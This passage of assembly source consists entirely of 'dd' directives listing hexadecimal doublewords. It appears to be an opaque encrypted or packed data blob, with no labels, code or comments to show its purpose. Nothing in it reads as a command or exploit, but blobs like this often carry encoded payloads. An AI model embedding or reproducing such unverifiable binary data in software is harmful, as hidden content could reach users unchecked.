66E77Eh dd 7CF1AAEDh, 613066E7h, 43442D99h, 0E446641Bh, 28EEAA76h dd 2DBDE17Dh, 5160FE19h, 642D7115h, 1669E8A1h, 0CE11AD6Fh dd 0C847ACAAh, 6B616141h, 9C74541h, 6DE73187h, 0A3316456h dd 0B40866E7h, 9128ADE4h, 8F8055ADh, 0E6E7E581h, 2DCD6A83h dd 51A5E7DFh, 5B07F57h, 440C66E7h, 0E7FFEDE7h, 83025964h dd 6BC75E7Eh, 0F4E34637h, 649F406Bh, 4CF9DD46h, 91596633h dd 0F7D53153h, 0B861308Fh, 0D3257F38h, 2D8DE1FFh, 0BEBC80Ch dd 0C16D95EEh, 87748192h, 0E7FF78F5h, 5FD561A4h, 6BC7D6BFh dd 3628170Fh, 13EBC7C7h, 8C6DA1EAh, 4438FE7Ch, 0E7E140D9h dd 0D2C6BF33h, 6BC7CDF4h, 0BBB52C8Dh, 9766E7B2h, 9608C484h dd 33552611h, 0AA5EED61h, 0D1F24D62h, 0A672E5B1h, 0ED513545h dd 55A49A9Dh, 0A5ED6533h, 2179E9EEh, 0C45FADAAh, 0E5C6A7EAh dd 0EA8A9333h, 0FFEA064Dh, 51E9E7B6h, 796DAC01h, 0E8612171h dd 0D7E4ADADh, 63B9796Bh, 0E0E787B4h, 0B4E8C575h, 0E49749BDh dd 57BFB85h, 655A3F7h, 5DFB74F8h, 0EB06E4DEh, 0DE91E203h dd 42E106F4h, 0FC45E729h dd 34EDE4C4h, 79A0DCE7h, 0F787FFA3h, 42BF492Eh, 4F10B173h dd 3371BFAFh, 6D65C7DBh, 0D0ED70F8h, 0ED65ECC7h, 0D714ED9Eh dd 0F4047120h, 344A83EDh, 0ADC704CCh, 0E4B0B161h, 0E5F69CA3h dd 41F0B633h, 22D4BF95h, 87DE4168h, 4B637F97h, 2DF585B0h dd 716D5297h, 972DC505h, 88DC3462h, 8158B6B3h, 9A0CE49Bh dd 72E7502Dh, 0ADD1C5F4h, 55A4BD81h, 0A32383A1h, 6382C32h dd 0E7232DFDh, 0DAC465E9h, 0A52F2D3Fh, 0C68EA16Dh, 6120C207h dd 31ADF2C4h, 0FD696DF7h, 0E7FE2D8Dh, 22E30850h, 6BB179EDh dd 3BE6474Dh, 0E035029Dh, 7ADD444h, 44452712h, 0F7316DE5h dd 81E1DC9Dh, 13F77C2Dh, 74D4C504h, 7563E7A9h, 0F1BAD604h dd 0C741A3C7h, 0E72EADD2h, 0DC86656Bh, 2D7D7FBAh, 0EDDE8459h dd 9DD731h, 0A2DCD05h, 0C5BF52F7h, 0F7DBADCDh, 0A6EB71EDh dd 7E752EDh, 0BADC07E4h, 0F09971A1h, 0FF3BE6C7h, 1869EEE7h dd 0C7A8F4BBh, 0ADE06405h, 0FC6191ADh, 2DCE8648h, 0FC34E7ABh dd 9BAA6B4h, 0AA652A21h, 0C7C2F452h, 0B2565085h, 78A162ADh dd 0ED7DFAE0h, 79A85391h, 0FA1A72BFh, 437485C7h, 0C7A56D96h dd 0F686E435h, 0AE7B33Ch, 34CB3CC0h, 4C47F7EDh, 7EADED44h dd 45456361h, 605442DFh, 0AD208755h, 64D7B8ADh, 0B69F9F79h dd 41E7E77Fh, 5AED9BA0h, 0AECBBFE3h, 0E764AD91h, 0C50451EDh dd 14D7452Dh, 1BCCC51Bh, 5128D7DFh, 0FAE21F21h, 0B65A5F7h dd 0E7B9B49Bh, 0DA444DE4h, 2CE7A835h, 6D9C5B71h, 93D8C7B2h dd 726DE107h, 4771EA52h, 0F7EFF4CDh, 846155ECh, 0B2D7C96Dh dd 0EDAB9E5Ch, 0C477A9F8h, 1F7CEF05h, 659E1D7h, 0E707EDD5h dd 813455E1h, 21BDFAADh, 0ADCD0645h, 0E0B77165h, 4530C284h dd 7EC4F583h, 0B34764B2h, 9A0D2C2Bh, 28E7882Dh, 0AD442C5Dh dd 97F789AAh, 1AB4E144h, 60ECF4E7h, 8579A4CFh, 0EFE3ED72h dd 7C854164h, 0ADE746C9h, 0F53FA5CCh, 9B2D4523h, 0A3C17EC7h dd 0F70704EFh, 6BA269ADh, 0EEC7DF3Ch, 0ADBC065Dh, 0FF38D7B3h dd 1C7ED346h, 0C4656EAFh, 0A3BA6DEAh, 0ED457523h, 0E4E7DF6Dh dd 0F4EEC741h, 6DA0E78Dh, 0F3ADB34Eh, 4761E321h, 4345ADFDh dd 81EFFF33h, 6B2109ADh, 9C9FCC65h, 71E06D00h, 0FF739AE3h dd 856D26E7h, 0F7B8EDF0h, 0E544D44Fh, 0E5E774EDh, 2D96B2F8h dd 0B094813Fh, 2FADD185h, 45741B83h, 0C7F7ADCDh, 0FE46C7CBh dd 1ED779ADh, 6DAF2943h, 41A5F7F6h, 0B46DA92Ch, 65920E7h dd 0F7C42DA3h, 0DA8451A1h, 0E1E7E53Dh, 0ED8D615Dh, 4DABD779h dd 0A8ADC544h, 44452FA1h, 0E7742DFDh, 0C546049Dh, 89A34FADh dd 0ADA2214Ch, 0E075D73Fh, 80B0DE86h, 0CEEB0841h, 0A16B2DB9h dd 0A7434DA1h, 63C7E2F4h, 7E1C541h, 45A1D72Eh, 64ED442Eh dd 0E4F48323h, 816B2DBEh, 0E82E51A7h, 0D62364EDh, 0EDD1C5E4h dd 4DE26144h, 0A8EDE444h, 0CE69E2A1h, 916B6D8Ah, 0CB2E51A5h dd 0D101772Dh, 77E3C5C3h, 0D751C7F2h, 933FE684h, 46C476C7h dd 6DD1ADC6h, 0EC444527h, 6E2C886Dh, 7EE0C475h, 80E94F8Dh dd 26BCA60Fh, 671ADE7h, 0D2B3EDE6h, 0E3C4656Eh, 6FEEB3EDh dd 7FC10669h, 7520F236h, 0CFBEDB06h, 0C4C712F7h, 0A1ACADE0h dd 0E804656Bh, 9CC71466h, 2D0D4BE7h, 0DF5FD7EBh, 0DB86D886h dd 0C4CB9EF7h, 0D74D66E8h, 76EAC9D9h, 88330FEDh, 2DBDAE54h dd 456D230Dh, 5FADA9AEh, 46D2563h, 0A1A82DCAh, 0E1444521h dd 0A94D97ADh, 0ADFDC471h, 61EF1108h, 3D74B755h, 6E4DC51h dd 0E74ABCD9h, 0CEC5512Fh, 0ECE70BBCh, 77B00851h, 4128C7EFh dd 38F171BAh, 0C7D09ED7h, 2BEADC8h, 0B02320D4h, 0ABC7E677h dd 0ED6EEA49h, 6D642FB8h, 664E220h, 6E0DC9Fh, 0E71ABCD9h dd 0C1C575E2h, 24618074h, 2D79D455h, 30E15213h, 9FADE5C7h dd 5043EF7h, 0F7970FECh, 61D4BEEDh, 76C287ADh, 79E407F8h dd 26E29F86h, 8D49C584h, 0E12CEDF7h, 8540ED95h, 602AC73Ch dd 48DCE8EDh, 0F85AC5Ch, 68D79Fh, 54ED9E6Eh, 4671E2C7h dd 0E7716DDBh, 0B0404924h, 0E2F7EB77h, 0ED941159h, 9CADD021h dd 5B3FC2C6h, 3651E1F0h, 0C7152D4Dh, 0B5166475h, 0AAF741EDh dd 0FCAF730Bh, 4163E2B0h, 0E9EDEB45h, 1651A1ECh, 0C742C0B1h dd 95304075h, 0E9ADF5ADh, 3FE6C575h, 0FCC9D7CEh, 992D07EBh dd 5421DC7h, 0D7FF7BE1h, 0CD6BE75Ch, 0EAC7CC76h, 0AD8F6049h dd 0BCB0E7FFh, 4B2D8D49h, 85A171E7h, 514A0F4h, 8D507522h dd 9EF7CDADh, 6D74700Bh, 556BA4F7h, 57A0B100h, 5075A03Fh dd 0F738B4ADh, 0D1C559E5h, 6383FA72h, 0D0C10455h, 4560E7FFh dd 8607DDC4h, 0E149E3F7h, 0D7D1AD8Dh, 7D3565A5h, 0D4E71F2Dh dd 3998A3EFh, 65A2B16Bh, 0C17EBA92h, 0D74DA8C7h, 9E572DBDh dd 0A79265E3h, 6AC7ECF4h, 2DFE0588h, 0D458631Ch, 9FE0C7C5h dd 2055E0C7h, 0F7F5F969h, 0EA874B49h, 20C8A23Fh, 71736Dh dd 8778CAAEh, 44775315h, 0C16C95C7h, 9504A497h, 0F385E23Dh dd 6BBD4264h, 0A1D58545h, 55626180h, 5306EE46h, 8E65E3E7h dd 0BD426473h, 0DF44E4B6h, 0A3D749F4h, 3FA6E149h, 0F48C7000h dd 890EEF87h, 312CCDD7h, 0B3CAAD89h, 0E1C7716Dh, 6B330D6Dh dd 3DDB8459h, 86EAB03Ch, 0B7ADD544h, 0DF2B79D7h, 0D773AD8Dh dd 7F356564h, 0EF232701h, 38801675h, 65634205h, 0FFD0EB04h dd 0DE4DEBE7h, 4CD1AD47h, 0D5C54D20h, 0E9D7FAC1h, 6D659255h dd 0CC7682A1h, 0C403F5C4h, 0C43727D7h, 8C546DF8h, 512E4561h dd 266E05EDh, 2DD94445h, 0ABE6E7E1h, 1CE05A36h, 0CB5D2BD7h dd 0E775AD51h, 84BA9B0h, 12C7D96Dh, 0EDEA8654h, 0A7F4ECE9h dd 0CB2D0D4Fh, 852AD1D7h, 0B0DA0F1h, 0BE984922h, 0ED91E1ADh dd 0ADDDC671h, 0F4B1B121h, 5EDE145h, 0C7C8BCF7h, 304A2DE3h dd 0A7BB5412h, 3D7E42Dh, 0BED8C4B0h, 65A083A0h, 6B2D8D61h dd 0A15412F7h, 0C7E3B4B7h, 0DD85F4F0h, 0F0914A42h, 2D916147h dd 0C037E7C1h, 72EDE3C7h, 0C66D20F7h, 213AEDF1h, 613B71EDh dd 0E5D77FEDh, 0BED84445h, 349CF7D5h, 4A2DCD85h, 5B702AD7h dd 0D7646DAEh, 0D9C5CFF1h, 19C7D97Fh, 2DA69B00h, 9C9C02CBh dd 24C4A223h, 85B0E9BDh, 8347EDEDh, 81FD41E9h, 0E4A1A8BCh dd 32A62F55h, 0A8598069h, 512D8DA0h, 0BA7440F7h, 0A5E4F4BEh dd 0A1A1F535h, 349520EDh, 0DCCA61F9h, 0E0330C8Eh, 12F44941h dd 3B2064C7h, 0F7746DA8h, 0A70951E5h, 6AE707FFh, 0AD324051h dd 7D23C7DFh, 70B9B000h, 460459E1h, 932E6DCAh, 9D1B61A0h dd 2013AE34h, 32B6BB55h, 75E58125h, 21FCA1E1h, 0DA5D2AA3h dd 0F7B1048Fh, 0E8C749E0h, 77C7E0ADh, 0B7996178h, 712AE7B6h dd 0B12D992Dh, 0EF7DE0E7h, 8D2C2D9Dh, 0E7C642BEh, 7B10A92Dh dd 72C3C547h, 0D0FF21C3h, 176DD905h, 846968DCh, 0F7682DDAh dd 0D984516Dh, 0A8D71A2Dh, 0AD93AD41h, 0E4B5E770h, 0F12D9D61h dd 4294DBF7h, 0D7DB77B0h, 9F4F756Ah, 0C5B9E034h, 0EDDD04F4h dd 716AA115h, 976DA0AEh, 4561A2C7h, 0E7B06DEEh, 0F1C74D65h dd 66C721EDh, 0EDE08775h, 49A27D61h, 2BADE6C5h, 0C55520F7h dd 0C724ADD0h, 0CEC4E487h, 0BAD7202Dh, 2DA476FCh, 6128D779h dd 0E434E8C5h, 86F844A3h, 0E7B4EDDCh, 0CF046D2Ah, 20516C6Dh dd 34C78449h, 0E334E7E7h, 29ADB2E2h, 0C7C03CD7h, 0E7DAADD8h dd 0EC06C403h, 6DF76A6Dh, 0B1D0045Dh, 60C920D6h, 2BAD99EDh dd 6DFF39D7h, 0D7FAAD8Dh, 0F5C4644Dh, 63E730ADh, 7FECC755h dd 7DA1C787h, 7B2D9D0Ch dd 61796459h, 0E7072D99h, 0F0C75165h, 0E0C7DBADh, 0ADB46169h dd 4C02F7E2h, 50F4C2C5h, 847D65A1h, 538D47CFh, 0D1C67966h dd 8FE764ADh, 0EDAD4FCCh, 0D80E5349h, 4F27E484h, 3AACDC91h dd 5B55FFBAh, 0A52C71EDh, 2A5195EDh, 2DD94571h, 4E3E737Bh dd 0BA6D4954h, 4471ED13h, 23652DD9h, 0AD20456Ah, 8F1102EDh dd 778E22FBh, 7402F7F7h, 0DAF4C504h, 84D445C7h, 918C7FECh dd 0C94445E0h, 8C5387ADh, 0ADFC04D5h, 0B3D9C770h, 202DFD85h dd 0C7F072B3h, 0E7F82DD3h, 0D2C55961h, 0CF71AE6Dh, 0ED5D6F43h dd 612753BAh, 0D404A34Fh, 0C51E66Dh, 5F8DEDBAh, 0D845E78Eh dd 0CEC7A1BFh, 7F866174h, 69E53B3Eh, 0A0F6D2C4h, 8179A8E7h dd 738DADBBh, 78CEF908h, 0E9531427h, 2DCE8449h, 0EC87C765h dd 0A7FC9162h, 0B844DADh, 0C7D62D8Dh, 921130C7h, 64D7D32Dh dd 4498EC6Dh, 0C4B8A32Ch, 61F7EEC5h, 61E458D7h, 608537A1h dd 0A92079ADh, 0A231352Dh, 0F7C3C569h, 7DADF715h, 2437A7E1h dd 84E4BCD7h, 7513EDE1h, 0AE2CEF89h, 5BD7146Dh, 0EDA16AFCh dd 616B516Ch, 6A74C545h, 457DEDD7h, 4189C7FBh, 462BF88Eh dd 1BE7A1F4h, 37ED84E5h, 5920D764h, 0F4ED5C5Ah, 4B49CD7h dd 812DEDCEh, 0D9C76B5Dh, 4BC028ADh, 42F085CCh, 0E0C5392Bh dd 0A6AD90BAh, 716163E7h, 0E7C5EDA2h, 9ADC516Bh, 0DFD02135h dd 466EA12Fh, 75E0F715h, 0F92DA9A1h, 0C769A3CCh, 0E725EDDBh dd 0EDC555A2h, 0A3CC387Eh, 0EDE3C679h, 0FC72E725h, 5077B115h dd 3B24E663h, 0C7052D94h, 0A66255A3h, 5EC7766Dh, 2DA9F7CCh dd 45E46F81h, 67EDF446h, 6348B2D7h, 0D2432DA6h, 9477556Dh dd 58712744h, 3AAF3C30h, 44B4D7DAh, 216DED44h, 8530A9E7h dd 934B6DE1h, 0DD865D6Bh, 62D7336Dh, 0B1BBA145h, 0E47B339Dh dd 3178C785h, 44CCA0C7h, 61E1ADE5h, 861F51ABh, 65E2D7FCh dd 11940C4Dh, 512A9059h, 7CED7BBDh, 0C732C7D7h, 41BDADC2h dd 0EC06FCBAh, 72C7B86Dh, 0ADCDC7F0h, 0C445832Eh, 8371E946h dd 847DA0C0h, 0B15AF0FBh, 0FAC445A6h, 6A7231ADh, 0BFDF0597h dd 7DE0E78Dh, 54ED9E11h, 45E80AF7h, 0A116F8FCh, 0F38461EAh dd 65E7FFADh, 0FECE8775h, 9BF7D788h, 1B2DF506h, 0C5412D63h dd 0F7ADF8FCh, 0E44655A2h, 0E5F7DAB3h, 2D956179h, 412B6DCCh dd 0C96DB44Fh, 30246BF7h, 0D7FC6D30h, 616F4037h, 0BD90B3ADh dd 0ADED4487h, 0C458F7B2h, 6D6DC046h, 779AD74h, 61BF38F0h dd 0EE46C403h, 69E7A86Dh, 6D659F6Dh, 65A8812Dh, 0CB6DB561h dd 2A3033A2h, 3116ADA0h, 0CC46448Fh, 0F3F7EC47h, 809BB0B7h dd 34BDA04Eh, 7958ED04h, 7588F313h, 0F7AB3488h, 6E72612Eh dd 5DD7A26Dh, 0EDCC04F3h, 400E9294h, 14B7C9C5h, 46C689B2h dd 619A77DAh, 89C965AFh, 6B7FD440h, 0C3FD877Dh, 7162E78Ah dd 9D6D6032h, 3C4966BCh, 0F726FC8Ah, 0E806512Dh, 43B2F9BAh dd 0B817FDE8h, 88707D94h, 0B86D687Dh, 858820F7h, 0B85339D1h dd 0F78765A0h, 0ED614CADh, 0B0064F41h, 24BFD7D7h, 2CE3EDFDh dd 0F596CA1h, 0A839EDB3h, 0F6064563h, 0E7B2676Dh, 6DBE502Ch dd 0E78F6838h, 0D180DD06h, 7060D5E7h, 0A20C6D66h, 0C986C403h dd 0F2E7A4B8h, 20C08606h, 716DC7C6h, 0D380DBC5h, 4A7FDD7h dd 8E9158EDh, 0A61D5D66h, 0FCC7CAF6h, 3C707D0h, 5D25D7E5h dd 0D3ADC4C7h, 0A2F48742h, 0A1D02DB9h, 81A275EBh, 2EA12C2Dh dd 6DA0F741h, 5437D7F0h, 846DACF7h, 415920E7h, 0C7ECFAB7h dd 0CA451694h, 6582FEFCh, 2DB96F7Dh, 79EDD771h, 0D6DAE76h dd 0C7900861h, 3CA06DD0h, 0C14771AFh, 56207477h, 0C281F827h dd 65AF3074h, 0F6DC084h, 73592761h, 61A58192h, 7579F4C4h dd 2CE726ADh, 0EDEEC471h, 2794A28Bh, 0AFB8C984h, 0C765A881h dd 0F727ADD8h, 0CAC7B00Ah, 286ED3ADh, 3758FC75h, 30324098h dd 402D854Fh, 0CF412E60h, 91BBF985h, 39FD285Dh, 6659152Dh dd 0B0C60679h, 1744E7C0h, 27B8C9C6h, 46E4B7D7h, 0F7D647C1h dd 0F8C795BBh, 3626AEDh, 0B7C986F4h, 1033E7D1h, 0D11AE2C5h dd 45C74FF7h, 0E7D880C4h, 71DA0348h, 0E26D8F2Dh, 2D7A7061h dd 516672D3h, 0D7B9B2BAh, 0BC0075F7h, 0C04E2DB1h, 853DF43Ah dd 0A2B52132h, 2DCD8665h, 7CC4D71Ah, 0E82DB5A0h, 0C5FC34A1h dd 0B8E1ADD5h, 0D18441A2h, 0B6D711C4h, 2D69E044h, 3833A1F7h dd 0DCB4FCC5h, 0EEF90ED7h, 8172BCB1h, 0C6A08855h, 5F42948Ch dd 2D1A809Fh, 81510E1h, 5D6DE005h, 44C8754Ch, 0D79F39D1h dd 89514DA9h, 3CC7D4B7h, 0ADCDC6C4h, 74B4D7D4h, 0DFEDAA80h dd 467D67F7h, 0E7DFFFF1h, 0D8445924h, 0F5A1B5F4h, 0ADA063E4h dd 0BF2E7CFh, 21C46DD3h, 102F48E7h, 0ACFB2D6Dh, 511F75EFh dd 75C7D7F4h, 3CC906C8h, 45A9A1E8h, 206DD144h, 47C4B6A3h dd 0C75F2DCDh, 0BC176123h, 0E421D4B4h, 0F22BFD69h, 37597BD4h dd 0C624E046h, 424DE9E7h, 0E7C874BBh, 0F707F4F5h, 5683F0ADh dd 36B0D990h, 86DFE7CEh, 5F6D6AE1h, 0F373C6A3h, 0AAC7AD89h dd 52E14523h, 0FA835FADh, 0F34CEC94h, 0DFFCE7FAh, 656DE4C7h dd 0CA6D5C7h, 0A18A6D9Dh, 807D59EEh, 0A6226187h, 0ED19997Dh dd 0B03D59BAh, 0AEAD29EFh, 0E165A438h, 24282DA5h, 0A6F865ABh dd 11047447h, 9A72AF2Fh, 0A110D7F8h, 0BE47B736h, 384FCD04h dd 243AED76h, 0BD4C55AFh, 75E7D5B4h, 6DFAC774h, 44B88CBAh dd 0A162F807h, 7E4F5E7h, 2C4CADF7h, 0B90D69E9h, 6A2ACD6Dh dd 0F1720E41h, 69E96019h, 3E8484C9h, 6656651h, 0E793F4EFh dd 98E38744h, 0D8D7CE74h, 0EDBD8074h, 716EA1F3h, 9F0C61A2h dd 4C55678Eh, 0C7CCAD8Dh, 0CDC547FAh, 23F7D02Dh, 6D219165h dd 4438D781h, 7C6DFD44h, 485D2E3Bh, 0E77AAD11h, 0C3C75563h dd 9DF74F9Eh, 9EEA44C9h, 0E7F5D7CAh, 0D3C4ED05h, 882332F7h dd 245E6D49h, 0E4C6692Dh, 22F705FEh, 0B1E34755h, 0D4B6E7ACh dd 0D1F1D947h, 550C8E7h, 0F778C3C0h, 992175A4h, 47D7FF6Dh dd 2D1322A8h, 0E436F7FEh, 1FEDA9EDh, 0AA61A4C7h, 51F63E47h dd 0CB86DEFAh, 6AE7E10Eh, 36B6C083h, 452EA3B7h, 67F186E0h dd 5300E991h, 0A1426D45h, 0BF8075AFh, 42B1F3EDh, 6D8582FCh dd 692D258Fh, 0A90FD384h, 0E169AFEEh, 8DE7AD75h, 0B54C5526h dd 19D7CCF4h, 26B068F3h, 75EF2992h, 0BF2DCD6Ah, 0B4DD1BC7h dd 159AB94Ah, 0D5F8C0h, 0EFA3B7B6h, 0ED77806Dh, 5C57C22Eh dd 0ECB4F0A0h, 77CC8231h, 732E8CC6h, 0DEE3E757h, 3D797B8Fh dd 0F46FECD4h, 652AF785h, 0FFF18661h, 2A8F7D7h, 0B1AAAD0Eh dd 0CB07DFBAh, 70AD8F3Eh, 3ED407F4h, 70BDB533h, 8C84AD62h dd 0E07871B1h, 9530A4EAh, 0FB60F930h, 30B538A4h, 3352F2E1h dd 9F488C9Dh, 126D9E2Eh, 0B6FD30BFh, 0F79FC38Eh, 0D70641EFh dd 0A4C466C4h, 61CE772Bh, 0A96FC409h, 7D21EEF6h, 778F75A9h dd 0B422E0F2h, 0FCA0E171h, 0F3D44FB4h, 61CF46E5h, 4D28A5F8h dd 0F990C677h, 0CD9D6F82h, 0F7860FABh, 0E18765A1h, 0A1719DF4h dd 0BBE2C765h, 61E5B3F0h, 3D618F5Ch, 778F42BFh, 0F705B4C6h dd 0A5A15921h, 5C44F3Ch, 2DD1C450h, 0DC03D732h, 0FCADE584h dd 0C5516DF7h, 0D7E53CFAh, 0E7C64160h, 3BE7E72Dh, 59C6B748h dd 85EE8533h, 15A4FE07h, 0A0D456F4h, 953320EAh, 0ECB199B4h dd 70B5B1A4h, 0A4CC60E1h, 0D972B5FDh, 33CBCAA0h, 0FCB506A5h dd 52F0A3E9h, 0C9BCD970h, 0C2A5332Dh, 0B4FE06A5h, 7DAAD79Fh dd 7436BA3h, 40AD72E7h dd 0D7B02DA6h, 0C346556Dh, 0EFF7E977h, 0ADFAC455h, 7DE5E735h dd 58EDD684h, 0C67D66D7h, 0F707ADF2h, 0F104716Ah, 20E7FFEDh dd 0ED70226Dh, 45ECE7DCh, 0D7281A1h, 4B71CF7h, 0E7FFADD9h dd 0A1817961h, 0EBE7A0F4h, 0AD353B69h, 0E8A31C4Bh, 0DF428BEFh dd 847CC8E7h, 0C7F76DC6h, 91AA341Ch, 74E7412Dh, 2DE2C7C8h dd 5521F786h, 8C2DCD46h, 964DAAF7h, 0E7FFED98h, 0CC46085Bh dd 0E860F4EDh, 2D95DA75h, 65E86EB5h, 0DFEDA1C1h, 451ED32h dd 0D7E52DF1h, 0E9043024h, 63E770EDh, 0ADCE0559h, 141FD7F5h dd 7002F946h, 847CB5D7h, 0D710F4E5h, 0EF04D836h, 631C9E2Dh dd 0EDA5705Dh, 4120C732h, 0F552F0C6h, 0C46563C7h, 0E7D5F4E2h dd 0B0D5D0F5h, 35C7E7EDh, 0AD8DC078h, 87D9F7EEh, 332DEB46h dd 85769DC7h, 0F7E284F1h, 0FA074F70h, 0E4E7B89Ch, 0B6C6444Dh dd 0D734F701h, 66ED65E0h, 0C4E40393h, 0F7CB43F6h, 0E00441E9h dd 0EED7DFF4h, 0B4C50441h, 552BE785h, 313CFAC6h, 0C0F0A0C7h dd 0E7EF6DA0h, 0E3E0CB48h, 63AF8FF4h, 8CFCC555h, 5E30D73Ch dd 5F2D822Eh, 6767EA3h, 0E7DFC7D2h, 0E1E27D21h, 0F8E7D66Dh dd 2DBD23D1h, 7DE6BFB3h, 956DE0E2h, 568F8E7h, 0F7AB2DFEh dd 68BB5124h, 0C7C70934h, 2DC584D3h, 792A6120h, 202D95ADh dd 0AD792B61h, 0E7B47788h, 0CD84656Ch, 8DD7DFADh, 0ADB663ECh dd 680CC731h, 0A82DDAC5h, 0E017DBF7h, 0B366ED59h, 5EFA5DEFh dd 39F715EDh, 4F585C8h, 69E0B1E8h, 0E7ADCD84h, 6879ACE7h dd 0E7D1B659h, 0F1C5F710h, 9F7DFCFh, 0CCE1C6C4h, 781D7CFh dd 7493E807h, 0E9752BA2h, 33302D55h, 0E40765ECh, 646DBDFEh dd 0BB938265h, 796B6D84h, 0BDED41A8h, 0AFC4E55Dh, 0D4F7B74Eh dd 0C9465F50h, 20F7ABFFh, 0ADD04775h, 0AB52C7AFh, 0A7ADD1C6h dd 1D4404F7h, 4337BA3Ch, 4F2959AEh, 6B7FD0BFh, 0FC44745h dd 0D4CDC7D6h, 0B4EDDEC6h, 0C559AFE7h, 0E7896DE8h, 0F4EE4007h dd 93CBF27h, 17B0CF77h, 6709B0B7h, 0EB27F646h, 467709B0h dd 0F7D6E0F6h, 954A4D2Dh, 68C719EDh, 6D1D2F24h, 0C48DD771h dd 0E247C747h, 0C4D3C3F7h, 70970FDBh, 0E085FC09h, 6AE7FF57h dd 2E78769h, 0E7C3F7A1h, 8417DB05h, 0EF4D2B6Dh, 0AE782D75h dd 610E5C8Ch, 50E7DD4Fh, 0F9B6FCDh, 77D2C7DDh, 0DF2D95E8h dd 66D61E7h, 152186EFh, 0E9EBF5C8h, 69513D66h, 4F61D461h dd 0D58ED7DCh, 0DC6DD3C7h, 0EF78560Fh, 654D6DB9h, 0F347612Dh dd 2CE7B281h, 2DADAD79h, 752DC726h, 207FEA46h, 0AD792861h dd 61202DB1h, 0ADEF6D68h, 0A9D77C2Dh, 0F749D375h, 8041D787h dd 6E319455h, 465ADFEh, 53697CCEh, 0B9EF7965h, 0F1C7712Dh dd 2D99F6C4h, 712D33A9h, 8CC1C907h, 0EF71AFF7h, 0EEF6B1BFh dd 7F3584A0h, 0E0E78CB1h, 77C14771h, 9A06C7EEh, 0EB748D61h dd 0C559E0ECh, 0D7B46DF9h, 8E0C7D65h, 0C6C7F1C9h, 0B7D3C540h dd 4920F7EBh, 3AF7E6C5h, 0B0440DD7h, 0D7E0BF6Eh, 0B1CFBF6Ch dd 2E21B92Dh, 0B65DA249h, 5D6AE707h, 0D2076B97h, 5CAC8D7h dd 613D2DDEh, 754E612Bh, 2563692Dh, 2DB1EF6Dh, 79E86D84h dd 2C6DE92Fh, 44440DD7h, 6D7373FCh, 0EE4645E8h, 0F3E7BCADh dd 0ADCD857Ah, 86EA6172h, 2519D205h, 0FB7D2C71h, 0C7D3117Ch dd 0C4C4F7CFh, 0B4E7C787h, 7FA37533h, 0F7CFC7C7h, 0FAF4CA84h dd 0AD79A2D7h, 73696D85h, 0B5EF6D25h, 0FF63D66Dh, 6D85CFBCh dd 416421B9h, 0BA8E928Ch, 0C749A1C7h, 0F7EFEDF8h, 89ED59EDh dd 2ECEF6F8h, 0BFFC4545h, 0B067F23Fh, 0A76DEDC4h, 876484C7h dd 0E7DF6DC0h, 59CF59A2h, 37E7A0ADh, 0AD107427h, 2663D7C7h dd 0A791D684h, 47A6A861h, 0A4533FE9h, 0F185303Bh, 0C683E42Dh dd 0F2928E44h, 9339940Fh, 4F2DB112h, 378945B4h, 0C02C6048h dd 0B92E04A7h, 24413D6Dh, 2D8EDB61h, 37A26185h, 0F4AD91CEh dd 0C694FAE7h, 0E79D2DCCh, 90638882h, 7F948A60h, 60CFF291h dd 0BDBBB492h, 79979D8Eh, 8EC3C649h, 43696049h, 222961E5h dd 0D41EB020h, 6D2D53D3h, 0DA497123h, 2D8AD278h, 0AE69E72Dh dd 0D7E32D0Eh, 0F3468AE2h, 0BDA5FA6Dh, 0ADE8C7C9h, 5520D7D8h dd 0F5ADBBE3h, 0C741A3E7h, 1C84EDE8h, 64C35960h, 0EDA162EDh dd 2DE7BE49h, 608F7E1h, 2AEDE585h, 7B61E0B3h, 0D7862DACh dd 0DCC575E2h, 9FC766EDh, 6DEC0684h, 5DA260CDh, 646DEEC5h dd 0C66166D7h, 0F7E7ADD1h, 0B1F9416Dh, 69E7DF0Fh, 0BEEF465Dh dd 0D4F6D724h, 0AADF406h, 84784030h, 0E0762DDAh, 0DAC7716Ah dd 0A7D7FA2Dh, 0B1B5EF6Dh, 41E25144h, 0E777A2A1h, 79CFCFC7h dd 0C768B12Bh, 0EEC79055h, 80F7E0ADh, 35DA84FCh, 696DF7E0h dd 29B1EBC4h, 8EB95D51h, 932B2DA2h, 0A701184Bh, 0E4E7BAF2h dd 0EDC2C769h, 4160A1BAh, 5BED698Ch, 3C5481h, 0E7FFED57h dd 3B184166h, 241485EDh, 82599061h, 3854C727h, 232DFD06h dd 45F0F3D7h, 0D70A2DDBh, 0FC04592Ah, 0E5C7A4ADh, 2D8E5E65h dd 49A0C726h, 67B4E9C7h, 0C534D030h, 0C7286DECh, 0F8841809h dd 25E755ADh, 0ADA1AF41h, 59A5E7ECh, 0D3ADE506h, 0C6AC9871h dd 0E70734F5h, 0AC9A6D21h, 0E171D3ADh, 0ADD0C545h, 6163C767h dd 0DFADF4C5h, 436563E7h, 125374A9h, 0C10455EDh, 0B4D7E2EDh dd 6DDDC5F8h, 0AF9ED725h, 186DE484h, 46596520h, 0D7B8FFC9h dd 85A47DE1h, 0F7D7D8F4h, 3E817A50h, 5161E74Ah, 0DBB8C484h dd 6C735C7h, 0F77FFCF6h, 0CD847D27h, 0E3F7602Dh, 0ED9E6065h dd 0FCB3E754h, 7CEDE004h, 4465EDD7h, 0B1AF2DDBh, 0C586D4B4h dd 359185ADh, 368E344h, 45A5F71Fh, 65F4EC07h, 45B4CBC7h dd 0E7DF0AEAh, 93E18C8Ah, 65A1732Dh, 0ADD1C561h, 752AD767h dd 74BCFE04h, 2165A0F7h, 0ADB3ADBCh, 0E5C678FCh, 78D7D3EDh dd 0EDA1BA78h, 0E8881433h, 7B5F3C6h, 444DEAE7h, 0E77874CEh dd 8DA165E4h, 6D9321EDh, 0EDD6C67Dh, 4D6BE71Ah, 5BCFBC4h dd 854DA281h, 0E7746DEEh, 0E1C751A5h, 2AD7CBEDh, 2DCD0565h dd 7F33D7A5h, 34ADE2C6h, 5483001h, 0C7792DDDh, 5D8375ABh dd 0BCA321EDh, 6DF50667h, 616BA1E0h, 77B4DFC4h, 0C6692081h dd 53EA0BD3h, 0CD06796Dh, 1DD78D2Dh, 0EDDE0473h, 7DA29341h dd 0DF3C0683h, 846521E7h, 0E7F1F4D5h, 0E247496Bh, 0FB91E9ADh dd 2D99356Ch, 7D6441E4h, 5F4D584h, 8565A9E7h, 0D0F1B6E1h dd 0EA4645A9h, 75C7D6ADh, 46C02E8h, 3C5812FFh, 0CB2DCDC6h dd 6375A4D7h, 0D777AD51h, 0F78479E0h, 68994364h, 6DFB4645h dd 61A24FA8h, 7A6DEE45h, 